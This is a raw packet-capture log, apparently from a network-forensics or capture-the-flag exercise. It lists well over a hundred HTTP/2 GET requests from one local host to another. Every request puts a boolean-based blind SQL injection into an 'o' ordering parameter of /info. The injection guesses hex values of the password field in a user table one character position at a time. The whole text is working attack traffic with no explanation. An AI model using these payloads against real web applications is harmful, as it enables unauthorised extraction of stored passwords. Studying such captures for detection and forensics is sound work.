43955   1209    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[245]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[245] 
43961   1209    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[247]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[247] 
43967   1209    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[249]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[249] 
43974   1210    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[251]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[251] 
43980   1210    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[253]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[253] 
43986   1210    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[255]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[255] 
43993   1211    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[257]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[257] 
44002   1211    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[259]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[259] 
44008   1211    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[261]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[261] 
44015   1211    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[263]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[263] 
44021   1212    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[265]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[265] 
44027   1212    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[267]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[267] 
44034   1212    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[269]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[269] 
44040   1213    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[271]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[271] 
44046   1213    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[273]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[273] 
44053   1213    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[275]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[275] 
44059   1214    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[277]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[277] 
44067   1214    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[279]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[279] 
44073   1214    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[281]: GET /info?l=1&o=(case_when_(select_hex(substr(password,14,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[281] 
44080   1215    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[283]: GET /info?l=1&o=(case_when_(select_hex(substr(password,14,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[283] 
44086   1215    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[285]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[285] 
44092   1215    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[287]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[287] 
44099   1216    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[289]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[289] 
44105   1216    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[291]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[291] 
44111   1216    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[293]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[293] 
44118   1216    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[295]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[295] 
44124   1217    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[297]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[297] 
44130   1217    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[299]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[299] 
44138   1217    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[301]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[301] 
44144   1218    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[303]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[303] 
44151   1218    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[305]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[305] 
44157   1218    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[307]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[307] 
44163   1219    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[309]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[309] 
44169   1219    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[311]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[311] 
44175   1219    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[313]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[313] 
44182   1220    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[315]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[315] 
44188   1220    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[317]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[317] 
44194   1220    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[319]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[319] 
44200   1221    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[321]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[321] 
44206   1221    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[323]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[323] 
44212   1221    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[325]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[325] 
44218   1222    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[327]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[327] 
44226   1222    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[329]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[329] 
44232   1222    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[331]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[331] 
44240   1223    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[333]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[333] 
44246   1223    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[335]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[335] 
44254   1223    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[337]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[337] 
44269   1223    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[339]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[339] 
44277   1224    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[341]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[341] 
44283   1224    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[343]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[343] 
44290   1224    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[345]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[345] 
44296   1225    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[347]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[347] 
44302   1225    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[349]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[349] 
44308   1225    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[351]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[351] 
44314   1226    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[353]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[353] 
44322   1226    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[355]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[355] 
44330   1226    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[357]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[357] 
44337   1226    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[359]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[359] 
44343   1227    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[361]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[361] 
44349   1227    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[363]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[363] 
44357   1227    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[365]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[365] 
44363   1228    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[367]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[367] 
44370   1228    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[369]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[369] 
44377   1228    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[371]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[371] 
44383   1229    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[373]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[373] 
44389   1229    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[375]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[375] 
44395   1229    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[377]: GET /info?l=1&o=(case_when_(select_hex(substr(password,19,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[377] 
44401   1230    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[379]: GET /info?l=1&o=(case_when_(select_hex(substr(password,19,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[379] 
44407   1230    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[381]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[381] 
44413   1230    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[383]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[383] 
44424   1230    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[385]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[385] 
44433   1231    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[387]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[387] 
44439   1231    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[389]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[389] 
44447   1231    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[391]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[391] 
44453   1232    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[393]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[393] 
44504   1232    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[395]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[395] 
44512   1232    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[397]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[397] 
44518   1233    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[399]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[399] 
44614   1233    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[401]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[401] 
44700   1233    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[403]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[403] 
44738   1234    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[405]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[405] 
45245   1234    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[407]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[407] 
45571   1235    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[409]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[409] 
45604   1235    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[411]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[411] 
45610   1235    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[413]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[413] 
45696   1236    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[415]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[415] 
45715   1236    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[417]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[417] 
45723   1236    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[419]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[419] 
45767   1236    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[421]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[421] 
45781   1237    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[423]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[423] 
45797   1237    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[425]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[425] 
45803   1237    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[427]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[427] 
45813   1238    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[429]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[429] 
45866   1238    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[431]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[431] 
45872   1238    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[433]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[433] 
45879   1238    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[435]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[435] 
45992   1239    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[437]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[437] 
46000   1239    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[439]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[439] 
46073   1239    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[441]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[441] 
46332   1239    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[443]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[443] 
46448   1240    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[445]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[445] 
46641   1240    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[447]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[447] 
46727   1240    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[449]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[449] 
46808   1240    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[451]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[451] 
46825   1241    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[453]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[453] 
46836   1241    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[455]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[455] 
46911   1242    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[457]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[457] 
46959   1242    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[459]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[459] 
47019   1242    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[461]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[461] 
47564   1242    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[463]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[463] 
47956   1242    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[465]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[465] 
48371   1243    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[467]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[467] 
48469   1243    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[469]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[469] 
48511   1243    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[471]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[471] 
48523   1243    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[473]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[473] 
48554   1244    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[475]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[475] 
48561   1244    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[477]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[477] 
48575   1244    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[479]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[479] 
48626   1245    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[481]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[481] 
48660   1245    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[483]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[483] 
48689   1245    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[485]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[485] 
48729   1245    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[487]: GET /info?l=1&o=(case_when_(select_hex(substr(password,24,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[487] 
48735   1246    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[489]: GET /info?l=1&o=(case_when_(select_hex(substr(password,24,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[489] 
48741   1246    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[491]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[491] 
48749   1247    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[493]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[493] 
48760   1247    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[495]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[495] 
48771   1248    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[497]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[497] 
48796   1248    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[499]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[499] 
48808   1249    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[501]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[501] 
48837   1249    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[503]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[503] 
48899   1250    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[505]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[505] 
49006   1250    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[507]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[507] 
49070   1250    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[509]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[509] 
49076   1250    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[511]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[511] 
49082   1251    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[513]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[513] 
49092   1251    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[515]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[515] 
49099   1251    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[517]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[517] 
49107   1252    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[519]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[519] 
49113   1252    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[521]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[521] 
49120   1253    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[523]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[523] 
49128   1253    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[525]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[525] 
